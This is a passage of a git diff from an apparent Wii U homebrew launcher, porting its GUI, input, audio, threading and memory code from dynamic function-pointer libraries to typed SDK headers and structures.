GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); + GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8); //!Destructor virtual ~GuiImageData(); //!Load image from buffer //!\param img Image data //!\param imgSize The image size - void loadImage(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); + void loadImage(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8); //! getter functions const GX2Texture * getTexture() const { return texture; }; const GX2Sampler * getSampler() const { return sampler; }; diff --git a/src/gui/GuiParticleImage.cpp b/src/gui/GuiParticleImage.cpp index c4915ef..2cfe527 100644 --- a/src/gui/GuiParticleImage.cpp +++ b/src/gui/GuiParticleImage.cpp @@ -51,8 +51,8 @@ GuiParticleImage::GuiParticleImage(int w, int h, u32 particleCount) colorVertexs[i * 4 + 2] = 0xff; colorVertexs[i * 4 + 3] = 0xff; } - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); particles.resize(particleCount); @@ -123,6 +123,6 @@ void GuiParticleImage::draw(CVideo *pVideo) ColorShader::instance()->setOffset(positionOffsets); ColorShader::instance()->setScale(scaleFactor); ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors); - ColorShader::instance()->draw(GX2_PRIMITIVE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT); + ColorShader::instance()->draw(GX2_PRIMITIVE_MODE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT); } } diff --git a/src/gui/GuiSound.cpp b/src/gui/GuiSound.cpp index 502a8a2..90fa9dd 100644 --- a/src/gui/GuiSound.cpp +++ b/src/gui/GuiSound.cpp @@ -16,7 +16,6 @@ ****************************************************************************/ #include "GuiSound.h" #include "sounds/SoundHandler.hpp" -#include "dynamic_libs/os_functions.h" GuiSound::GuiSound(const char * filepath) { diff --git a/src/gui/GuiSound.h b/src/gui/GuiSound.h index bb72a3b..b63e40f 100644 --- a/src/gui/GuiSound.h +++ b/src/gui/GuiSound.h @@ -17,7 +17,7 @@ #ifndef GUI_SOUND_H_ #define GUI_SOUND_H_ -#include +#include "common/types.h" #include "system/AsyncDeleter.h" //!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc @@ -28,7 +28,7 @@ class GuiSound : public AsyncDeleter::Element //!\param sound Pointer to the sound data //!\param filesize Length of sound data GuiSound(const char * filepath); - GuiSound(const u8 * sound, int length); + GuiSound(const u8 * sound, s32 length); //!Destructor virtual ~GuiSound(); //!Load a file and replace the old one diff --git a/src/gui/GuiText.cpp b/src/gui/GuiText.cpp index ab54e42..f9efaec 100755 --- a/src/gui/GuiText.cpp +++ b/src/gui/GuiText.cpp @@ -14,9 +14,9 @@ * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ -#include "GuiText.h" -#include "FreeTypeGX.h" #include "video/CVideo.h" +#include "FreeTypeGX.h" +#include "GuiText.h" FreeTypeGX * GuiText::presentFont = NULL; int GuiText::presetSize = 28; diff --git a/src/gui/GuiText.h b/src/gui/GuiText.h index 5fb8acd..2aa2d5e 100755 --- a/src/gui/GuiText.h +++ b/src/gui/GuiText.h @@ -17,6 +17,7 @@ #ifndef GUI_TEXT_H_ #define GUI_TEXT_H_ +#include "common/gx2_ext.h" #include "GuiElement.h" //!Forward declaration class FreeTypeGX; diff --git a/src/gui/GuiTrigger.h b/src/gui/GuiTrigger.h index 22909de..46a50e1 100644 --- a/src/gui/GuiTrigger.h +++ b/src/gui/GuiTrigger.h @@ -17,8 +17,7 @@ #ifndef GUI_TRIGGER_H_ #define GUI_TRIGGER_H_ -#include "dynamic_libs/os_functions.h" - +#include "common/types.h" //!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element. class GuiTrigger diff --git a/src/gui/VPadController.h b/src/gui/VPadController.h index f8ac65d..83e437d 100644 --- a/src/gui/VPadController.h +++ b/src/gui/VPadController.h @@ -17,8 +17,8 @@ #ifndef VPAD_CONTROLLER_H_ #define VPAD_CONTROLLER_H_ +#include #include "GuiController.h" -#include "dynamic_libs/vpad_functions.h" class VPadController : public GuiController { @@ -37,26 +37,26 @@ public: { lastData = data; - int vpadError = -1; + VPADReadError vpadError = VPAD_READ_NO_SAMPLES; VPADRead(0, &vpad, 1, &vpadError); - if(vpadError == 0) + if(vpadError == VPAD_READ_SUCCESS) { - data.buttons_r = vpad.btns_r; - data.buttons_h = vpad.btns_h; - data.buttons_d = vpad.btns_d; - data.validPointer = !vpad.tpdata.invalid; - data.touched = vpad.tpdata.touched; + data.buttons_r = vpad.release; + data.buttons_h = vpad.hold; + data.buttons_d = vpad.trigger; + data.validPointer = !vpad.tpNormal.validity; + data.touched = vpad.tpNormal.touched; //! calculate the screen offsets - data.x = -(width >> 1) + (int)((vpad.tpdata1.x * width) >> 12); - data.y = (height >> 1) - (int)(height - ((vpad.tpdata1.y * height) >> 12)); + data.x = -(width >> 1) + (int)((vpad.tpFiltered1.x * width) >> 12); + data.y = (height >> 1) - (int)(height - ((vpad.tpFiltered1.y * height) >> 12)); return true; } return false; } private: - VPADData vpad; + VPADStatus vpad; }; #endif diff --git a/src/main.cpp b/src/main.cpp index 3727b95..b0e82ad 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -1,18 +1,8 @@ -//#include #include "Application.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/fs_functions.h" -#include "dynamic_libs/gx2_functions.h" -#include "dynamic_libs/sys_functions.h" -#include "dynamic_libs/vpad_functions.h" -#include "dynamic_libs/padscore_functions.h" -#include "dynamic_libs/socket_functions.h" -#include "dynamic_libs/ax_functions.h" -#include "fs/fs_utils.h" -#include "fs/sd_fat_devoptab.h" #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" +#include "dynamic_libs/padscore_functions.h" #include "common/common.h" /* Entry point */ @@ -22,33 +12,23 @@ extern "C" int Menu_Main(void) //! Initialize function pointers * //!******************************************************************* //! do OS (for acquire) and sockets first so we got logging - InitOSFunctionPointers(); - InitSocketFunctionPointers(); +// InitOSFunctionPointers(); +// InitSocketFunctionPointers(); log_init("192.168.178.3"); log_print("Starting launcher\n"); +/* InitFSFunctionPointers(); InitGX2FunctionPointers(); InitSysFunctionPointers(); InitVPadFunctionPointers(); InitPadScoreFunctionPointers(); InitAXFunctionPointers(); - +*/ + InitPadScoreFunctionPointers(); log_print("Function exports loaded\n"); - //!******************************************************************* - //! Initialize heap memory * - //!******************************************************************* - log_print("Initialize memory management\n"); - memoryInitialize(); - - //!******************************************************************* - //! Initialize FS * - //!******************************************************************* - log_printf("Mount SD partition\n"); - mount_sd_fat("sd"); - //!******************************************************************* //! Enter main application * //!******************************************************************* @@ -58,10 +38,6 @@ extern "C" int Menu_Main(void) Application::destroyInstance(); - log_printf("Unmount SD\n"); - unmount_sd_fat("sd"); - log_printf("Release memory\n"); - memoryRelease(); log_deinit(); return returnCode; diff --git a/src/main.h b/src/main.h index 0147292..4204cd6 100644 --- a/src/main.h +++ b/src/main.h @@ -2,7 +2,6 @@ #define _MAIN_H_ #include "common/types.h" -#include "dynamic_libs/os_functions.h" /* Main */ #ifdef __cplusplus diff --git a/src/menu/HomebrewLaunchWindow.cpp b/src/menu/HomebrewLaunchWindow.cpp index 9642824..5271cca 100644 --- a/src/menu/HomebrewLaunchWindow.cpp +++ b/src/menu/HomebrewLaunchWindow.cpp @@ -62,8 +62,8 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm int yOffset = height * 0.5f - 75.0f; const char *cpName = xmlReadSuccess ? metaXml.GetName() : launchPath.c_str(); - if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0) - cpName += strlen("sd:/wiiu/apps/"); + if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0) + cpName += strlen("fs:/wiiu/apps/"); titleText.setText(cpName); titleText.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); diff --git a/src/menu/HomebrewLoader.h b/src/menu/HomebrewLoader.h index 87c7a67..b43f4d5 100644 --- a/src/menu/HomebrewLoader.h +++ b/src/menu/HomebrewLoader.h @@ -3,8 +3,8 @@ #include #include -#include +#include "common/types.h" #include "ProgressWindow.h" #include "system/CThread.h" #include "gui/sigslot.h" diff --git a/src/menu/MainWindow.cpp b/src/menu/MainWindow.cpp index 6182c80..56b3ef1 100644 --- a/src/menu/MainWindow.cpp +++ b/src/menu/MainWindow.cpp @@ -15,8 +15,6 @@ * along with this program. If not, see . ****************************************************************************/ #include "MainWindow.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/socket_functions.h" #include "Application.h" #include "utils/StringTools.h" #include "utils/logger.h" diff --git a/src/menu/TcpReceiver.cpp b/src/menu/TcpReceiver.cpp index 528d2f6..01bdb37 100644 --- a/src/menu/TcpReceiver.cpp +++ b/src/menu/TcpReceiver.cpp @@ -2,15 +2,16 @@ #include #include #include +#include #include "TcpReceiver.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/socket_functions.h" #include "fs/CFile.hpp" #include "utils/logger.h" #include "utils/StringTools.h" #include "utils/net.h" +u32 __CODE_END = 0x0; + TcpReceiver::TcpReceiver(int port) : GuiFrame(0, 0) , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) @@ -67,7 +68,7 @@ void TcpReceiver::executeThread() } struct sockaddr_in clientAddr; - s32 addrlen = sizeof(struct sockaddr); + socklen_t addrlen = sizeof(struct sockaddr); while(!exitRequested) { diff --git a/src/menu/TcpReceiver.h b/src/menu/TcpReceiver.h index cf572d6..7492c2a 100644 --- a/src/menu/TcpReceiver.h +++ b/src/menu/TcpReceiver.h @@ -3,7 +3,6 @@ #include #include -#include #include "ProgressWindow.h" #include "system/CThread.h" diff --git a/src/resources/Resources.cpp b/src/resources/Resources.cpp index eabee60..87e9d21 100644 --- a/src/resources/Resources.cpp +++ b/src/resources/Resources.cpp @@ -1,4 +1,3 @@ -#include #include #include #include "Resources.h" diff --git a/src/resources/Resources.h b/src/resources/Resources.h index 3d0921b..6aba197 100644 --- a/src/resources/Resources.h +++ b/src/resources/Resources.h @@ -1,8 +1,8 @@ #ifndef RECOURCES_H_ #define RECOURCES_H_ - #include +#include "common/types.h" //! forward declaration class GuiImageData; diff --git a/src/resources/filelist.h b/src/resources/filelist.h index b359fc3..14ed18f 100644 --- a/src/resources/filelist.h +++ b/src/resources/filelist.h @@ -9,55 +9,53 @@ #ifndef _FILELIST_H_ #define _FILELIST_H_ -#include - typedef struct _RecourceFile { - const char *filename; - const u8 *DefaultFile; - const u32 &DefaultFileSize; - u8 *CustomFile; - u32 CustomFileSize; + const char *filename; + const unsigned char *DefaultFile; + const unsigned int &DefaultFileSize; + unsigned char *CustomFile; + unsigned int CustomFileSize; } RecourceFile; -extern const u8 bgMusic_ogg[]; -extern const u32 bgMusic_ogg_size; +extern const unsigned char bgMusic_ogg[]; +extern const unsigned int bgMusic_ogg_size; -extern const u8 button_click_mp3[]; -extern const u32 button_click_mp3_size; +extern const unsigned char button_click_mp3[]; +extern const unsigned int button_click_mp3_size; -extern const u8 button_png[]; -extern const u32 button_png_size; +extern const unsigned char button_png[]; +extern const unsigned int button_png_size; -extern const u8 font_ttf[]; -extern const u32 font_ttf_size; +extern const unsigned char font_ttf[]; +extern const unsigned int font_ttf_size; -extern const u8 homebrewButton_png[]; -extern const u32 homebrewButton_png_size; +extern const unsigned char homebrewButton_png[]; +extern const unsigned int homebrewButton_png_size; -extern const u8 launchMenuBox_png[]; -extern const u32 launchMenuBox_png_size; +extern const unsigned char launchMenuBox_png[]; +extern const unsigned int launchMenuBox_png_size; -extern const u8 leftArrow_png[]; -extern const u32 leftArrow_png_size; +extern const unsigned char leftArrow_png[]; +extern const unsigned int leftArrow_png_size; -extern const u8 player1_point_png[]; -extern const u32 player1_point_png_size; +extern const unsigned char player1_point_png[]; +extern const unsigned int player1_point_png_size; -extern const u8 player2_point_png[]; -extern const u32 player2_point_png_size; +extern const unsigned char player2_point_png[]; +extern const unsigned int player2_point_png_size; -extern const u8 player3_point_png[]; -extern const u32 player3_point_png_size; +extern const unsigned char player3_point_png[]; +extern const unsigned int player3_point_png_size; -extern const u8 player4_point_png[]; -extern const u32 player4_point_png_size; +extern const unsigned char player4_point_png[]; +extern const unsigned int player4_point_png_size; -extern const u8 progressWindow_png[]; -extern const u32 progressWindow_png_size; +extern const unsigned char progressWindow_png[]; +extern const unsigned int progressWindow_png_size; -extern const u8 rightArrow_png[]; -extern const u32 rightArrow_png_size; +extern const unsigned char rightArrow_png[]; +extern const unsigned int rightArrow_png_size; static RecourceFile RecourceList[] = { diff --git a/src/sounds/BufferCircle.cpp b/src/sounds/BufferCircle.cpp index b0ee705..ccba870 100644 --- a/src/sounds/BufferCircle.cpp +++ b/src/sounds/BufferCircle.cpp @@ -23,6 +23,7 @@ * * for WiiXplorer 2010 ***************************************************************************/ +#include #include #include "utils/utils.h" #include "BufferCircle.hpp" diff --git a/src/sounds/BufferCircle.hpp b/src/sounds/BufferCircle.hpp index b07c1c4..0502ef8 100644 --- a/src/sounds/BufferCircle.hpp +++ b/src/sounds/BufferCircle.hpp @@ -27,7 +27,7 @@ #define BUFFER_CIRCLE_HPP_ #include -#include +#include "common/types.h" class BufferCircle { diff --git a/src/sounds/Mp3Decoder.cpp b/src/sounds/Mp3Decoder.cpp index 1246b4a..48a76ed 100644 --- a/src/sounds/Mp3Decoder.cpp +++ b/src/sounds/Mp3Decoder.cpp @@ -29,7 +29,7 @@ #include #include #include -#include "dynamic_libs/os_functions.h" +#include "common/types.h" #include "Mp3Decoder.hpp" Mp3Decoder::Mp3Decoder(const char * filepath) diff --git a/src/sounds/OggDecoder.cpp b/src/sounds/OggDecoder.cpp index abb64f4..9f6c629 100644 --- a/src/sounds/OggDecoder.cpp +++ b/src/sounds/OggDecoder.cpp @@ -25,7 +25,6 @@ ***************************************************************************/ #include #include -#include "dynamic_libs/os_functions.h" #include "OggDecoder.hpp" static int ogg_read(void * punt, int bytes, int blocks, int *f) diff --git a/src/sounds/SoundDecoder.cpp b/src/sounds/SoundDecoder.cpp index e449170..057871f 100644 --- a/src/sounds/SoundDecoder.cpp +++ b/src/sounds/SoundDecoder.cpp @@ -14,11 +14,10 @@ * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ -#include #include #include #include -#include "dynamic_libs/os_functions.h" +#include #include "SoundDecoder.hpp" static const u32 FixedPointShift = 15; diff --git a/src/sounds/SoundHandler.cpp b/src/sounds/SoundHandler.cpp index 68f9dd5..8a98666 100644 --- a/src/sounds/SoundHandler.cpp +++ b/src/sounds/SoundHandler.cpp @@ -25,8 +25,8 @@ ***************************************************************************/ #include #include -#include "common/common.h" #include "dynamic_libs/ax_functions.h" +#include "common/common.h" #include "fs/CFile.hpp" #include "SoundHandler.hpp" #include "WavDecoder.hpp" @@ -95,7 +95,11 @@ void SoundHandler::RemoveDecoder(int voice) if(voiceList[voice]->getState() != Voice::STATE_STOP) voiceList[voice]->setState(Voice::STATE_STOP); - while(voiceList[voice]->getState() != Voice::STATE_STOPPED) + // it shouldn't take longer than 3 ms actually but we wait up to 20 + // on application quit the AX frame callback is not called anymore + // therefore this would end in endless loop if no timeout is defined + int timeOut = 20; + while(--timeOut && (voiceList[voice]->getState() != Voice::STATE_STOPPED)) usleep(1000); } SoundDecoder *decoder = DecoderList[voice]; @@ -223,12 +227,15 @@ void SoundHandler::executeThread() } //! initialize 48 kHz renderer - u32 params[3] = { 1, 0, 0 }; + AXInitParams params; + memset(¶ms, 0, sizeof(params)); + params.renderer = AX_INIT_RENDERER_48KHZ; - if(AXInitWithParams != 0) - AXInitWithParams(params); - else - AXInit(); + // TODO: handle support for 3.1.0 with dynamic libs instead of static linking it + //if(AXInitWithParams != 0) + AXInitWithParams(¶ms); + //else + // AXInit(); // The problem with last voice on 500 was caused by it having priority 0 // We would need to change this priority distribution if for some reason @@ -239,7 +246,7 @@ void SoundHandler::executeThread() voiceList[i] = new Voice(priority); // allocate voice 0 with highest priority } - AXRegisterFrameCallback((void*)&axFrameCallback); + AXRegisterAppFrameCallback(SoundHandler::axFrameCallback); u16 i = 0; @@ -266,7 +273,7 @@ void SoundHandler::executeThread() for(u32 i = 0; i < MAX_DECODERS; ++i) voiceList[i]->stop(); - AXRegisterFrameCallback(NULL); + AXRegisterAppFrameCallback(NULL); AXQuit(); for(u32 i = 0; i < MAX_DECODERS; ++i) diff --git a/src/sounds/SoundHandler.hpp b/src/sounds/SoundHandler.hpp index 7b0beb6..f793332 100644 --- a/src/sounds/SoundHandler.hpp +++ b/src/sounds/SoundHandler.hpp @@ -27,7 +27,7 @@ #define SOUNDHANDLER_H_ #include -#include +#include "common/types.h" #include "system/CThread.h" #include "SoundDecoder.hpp" #include "Voice.h" diff --git a/src/sounds/Voice.h b/src/sounds/Voice.h index 63fd94e..e499fc8 100644 --- a/src/sounds/Voice.h +++ b/src/sounds/Voice.h @@ -17,8 +17,8 @@ #ifndef _AXSOUND_H_ #define _AXSOUND_H_ -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/ax_functions.h" +#include +#include class Voice { @@ -47,19 +47,18 @@ public: voice = AXAcquireVoice(prio, 0, 0); if(voice) { - AXVoiceBegin(voice); AXSetVoiceType(voice, 0); setVolume(0x80000000); - u32 mix[24]; + AXVoiceDeviceMixData mix[6]; memset(mix, 0, sizeof(mix)); - mix[0] = 0x80000000; - mix[4] = 0x80000000; + mix[0].bus[0].volume = 0x8000; + mix[0].bus[0].delta = 0; + mix[1].bus[0].volume = 0x8000; + mix[1].bus[0].delta = 0; AXSetVoiceDeviceMix(voice, 0, 0, mix); AXSetVoiceDeviceMix(voice, 1, 0, mix); - - AXVoiceEnd(voice); } } @@ -78,23 +77,23 @@ public: memset(&voiceBuffer, 0, sizeof(voiceBuffer)); - voiceBuffer.samples = buffer; - voiceBuffer.format = format; - voiceBuffer.loop = (nextBuffer == NULL) ? 0 : 1; - voiceBuffer.cur_pos = 0; - voiceBuffer.end_pos = bufferSize >> 1; - voiceBuffer.loop_offset = ((nextBuffer - buffer) >> 1); + voiceBuffer.data = buffer; + voiceBuffer.dataType = format; + voiceBuffer.loopingEnabled = (nextBuffer == NULL) ? 0 : 1; + voiceBuffer.currentOffset = 0; + voiceBuffer.endOffset = bufferSize >> 1; + voiceBuffer.loopOffset = ((nextBuffer - buffer) >> 1); nextBufferSize = nextBufSize; - u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000; + // TODO: handle support for 3.1.0 with dynamic libs instead of static linking it + //u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000; + u32 samplesPerSec = AXGetInputSamplesPerSec(); - ratioBits[0] = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec)); - ratioBits[1] = 0; - ratioBits[2] = 0; - ratioBits[3] = 0; + memset(&ratioBits, 0, sizeof(ratioBits)); + ratioBits.ratio = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec)); AXSetVoiceOffsets(voice, &voiceBuffer); - AXSetVoiceSrc(voice, ratioBits); + AXSetVoiceSrc(voice, &ratioBits); AXSetVoiceSrcType(voice, 1); AXSetVoiceState(voice, 1); } @@ -108,16 +107,21 @@ public: void setVolume(u32 vol) { if(voice) - AXSetVoiceVe(voice, &vol); + { + AXVoiceVeData data; + data.volume = vol >> 16; + data.delta = vol & 0xFFFF; + AXSetVoiceVe(voice, &data); + } } void setNextBuffer(const u8 *buffer, u32 bufferSize) { - voiceBuffer.loop_offset = ((buffer - voiceBuffer.samples) >> 1); + voiceBuffer.loopOffset = ((buffer - (const u8*)voiceBuffer.data) >> 1); nextBufferSize = bufferSize; - AXSetVoiceLoopOffset(voice, voiceBuffer.loop_offset); + AXSetVoiceLoopOffset(voice, voiceBuffer.loopOffset); } bool isBufferSwitched() @@ -126,7 +130,7 @@ public: if(lastLoopCounter != loopCounter) { lastLoopCounter = loopCounter; - AXSetVoiceEndOffset(voice, voiceBuffer.loop_offset + (nextBufferSize >> 1)); + AXSetVoiceEndOffset(voice, voiceBuffer.loopOffset + (nextBufferSize >> 1)); return true; } return false; @@ -149,19 +153,9 @@ public: } private: - void *voice; - u32 ratioBits[4]; - - typedef struct _ax_buffer_t { - u16 format; - u16 loop; - u32 loop_offset; - u32 end_pos; - u32 cur_pos; - const unsigned char *samples; - } ax_buffer_t; - - ax_buffer_t voiceBuffer; + AXVoice *voice; + AXVoiceSrc ratioBits; + AXVoiceOffsets voiceBuffer; u32 state; u32 nextBufferSize; u32 lastLoopCounter; diff --git a/src/system/CMutex.h b/src/system/CMutex.h index 3e7cc1b..fecd54c 100644 --- a/src/system/CMutex.h +++ b/src/system/CMutex.h @@ -18,13 +18,13 @@ #define _CMUTEX_H_ #include -#include "dynamic_libs/os_functions.h" +#include class CMutex { public: CMutex() { - pMutex = malloc(OS_MUTEX_SIZE); + pMutex = (OSMutex*) malloc(sizeof(OSMutex)); if(!pMutex) return; @@ -50,7 +50,7 @@ public: return (OSTryLockMutex(pMutex) != 0); } private: - void *pMutex; + OSMutex *pMutex; }; class CMutexLock diff --git a/src/system/CThread.h b/src/system/CThread.h index d9e01f6..81d8ac2 100644 --- a/src/system/CThread.h +++ b/src/system/CThread.h @@ -17,10 +17,9 @@ #ifndef CTHREAD_H_ #define CTHREAD_H_ -#include #include #include -#include "dynamic_libs/os_functions.h" +#include class CThread { @@ -37,12 +36,12 @@ public: //! save attribute assignment iAttributes = iAttr; //! allocate the thread - pThread = memalign(8, 0x1000); + pThread = (OSThread*)memalign(8, sizeof(OSThread)); //! allocate the stack pThreadStack = (u8 *) memalign(0x20, iStackSize); //! create the thread if(pThread && pThreadStack) - OSCreateThread(pThread, &CThread::threadCallback, 1, this, (u32)pThreadStack+iStackSize, iStackSize, iPriority, iAttributes); + OSCreateThread(pThread, &CThread::threadCallback, 1, (char*)this, pThreadStack+iStackSize, iStackSize, iPriority, iAttributes); } //! destructor @@ -104,14 +103,14 @@ public: eAttributePinnedAff = 0x10 }; private: - static int threadCallback(int argc, void *arg) + static int threadCallback(int argc, const char **argv) { //! After call to start() continue with the internal function - ((CThread *) arg)->executeThread(); + ((CThread *) argv)->executeThread(); return 0; } int iAttributes; - void *pThread; + OSThread *pThread; u8 *pThreadStack; Callback pCallback; void *pCallbackArg; diff --git a/src/system/exception_handler.c b/src/system/exception_handler.c index 0cde2d0..9d8a66b 100644 --- a/src/system/exception_handler.c +++ b/src/system/exception_handler.c @@ -1,5 +1,5 @@ #include -#include "dynamic_libs/os_functions.h" +#include "common/types.h" #include "exception_handler.h" #define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4 @@ -35,6 +35,9 @@ typedef struct OSContext /* There is actually a lot more here but we don't need the rest*/ } OSContext; +#include +#include + #define CPU_STACK_TRACE_DEPTH 10 #define __stringify(rn) #rn @@ -77,11 +80,9 @@ static const char exception_print_formats[18][45] = { "%p: %08X %08X %08X %08X\n", // 17 }; -static unsigned char exception_cb(void * c, unsigned char exception_type) { +static unsigned char exception_cb(OSContext * context, unsigned char exception_type) { char buf[850]; int pos = 0; - - OSContext *context = (OSContext *) c; /* * This part is mostly from libogc. Thanks to the devs over there. */ @@ -162,7 +163,7 @@ static unsigned char program_exception_cb(void * context) { } void setup_os_exceptions(void) { - OSSetExceptionCallback(OS_EXCEPTION_DSI, &dsi_exception_cb); - OSSetExceptionCallback(OS_EXCEPTION_ISI, &isi_exception_cb); - OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, &program_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_DSI, (OSExceptionCallbackFn)dsi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_ISI, (OSExceptionCallbackFn)isi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, (OSExceptionCallbackFn)program_exception_cb); } diff --git a/src/system/memory.c b/src/system/memory.c index 91f5392..9d41226 100644 --- a/src/system/memory.c +++ b/src/system/memory.c @@ -16,7 +16,10 @@ ****************************************************************************/ #include #include -#include "dynamic_libs/os_functions.h" +#include +#include +#include +#include #include "common/common.h" #include "memory.h" @@ -34,48 +37,46 @@ //! Memory functions //! This is the only place where those are needed so lets keep them more or less private //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern unsigned int * pMEMAllocFromDefaultHeapEx; -extern unsigned int * pMEMAllocFromDefaultHeap; -extern unsigned int * pMEMFreeToDefaultHeap; - -extern int (* MEMGetBaseHeapHandle)(int mem_arena); -extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); -extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); -extern void (* MEMFreeToFrmHeap)(int heap, int mode); -extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); -extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); -extern void *(* MEMDestroyExpHeap)(int heap); -extern void (* MEMFreeToExpHeap)(int heap, void* ptr); - -static int mem1_heap = -1; -static int bucket_heap = -1; +static MEMExpandedHeap * mem1_heap = NULL; +static MEMExpandedHeap * bucket_heap = NULL; void memoryInitialize(void) { - int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); - unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); - void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); - if(mem1_memory) - mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); + if(!mem1_heap) + { + MEMFrameHeap * mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); + unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); + void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); + if(mem1_memory) + mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); + } - int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); - unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); - void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); - if(bucket_memory) - bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); + if(!bucket_heap) + { + MEMFrameHeap * bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); + unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); + void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); + if(bucket_memory) + bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); + } } void memoryRelease(void) { - MEMDestroyExpHeap(mem1_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); - mem1_heap = -1; - - MEMDestroyExpHeap(bucket_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); - bucket_heap = -1; + if(mem1_heap) + { + MEMDestroyExpHeap(mem1_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); + mem1_heap = NULL; + } + if(bucket_heap) + { + MEMDestroyExpHeap(bucket_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); + bucket_heap = NULL; + } } - +/* //!------------------------------------------------------------------------------------------- //! wraps //!------------------------------------------------------------------------------------------- @@ -159,18 +160,18 @@ void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) { return __wrap_realloc(p, size); } - +*/ //!------------------------------------------------------------------------------------------- //! some wrappers //!------------------------------------------------------------------------------------------- void * MEM2_alloc(unsigned int size, unsigned int align) { - return __wrap_memalign(align, size); + return memalign(align, size); } void MEM2_free(void *ptr) { - __wrap_free(ptr); + free(ptr); } void * MEM1_alloc(unsigned int size, unsigned int align) diff --git a/src/utils/HomebrewXML.cpp b/src/utils/HomebrewXML.cpp index e8a7ad3..481ceb2 100644 --- a/src/utils/HomebrewXML.cpp +++ b/src/utils/HomebrewXML.cpp @@ -1,7 +1,7 @@ -#include #include #include #include +#include "common/types.h" #include "tinyxml.h" #include "HomebrewXML.h" diff --git a/src/utils/StringTools.cpp b/src/utils/StringTools.cpp index debb6c7..7fff008 100644 --- a/src/utils/StringTools.cpp +++ b/src/utils/StringTools.cpp @@ -30,7 +30,7 @@ #include #include #include -#include +#include "common/types.h" const char * fmt(const char 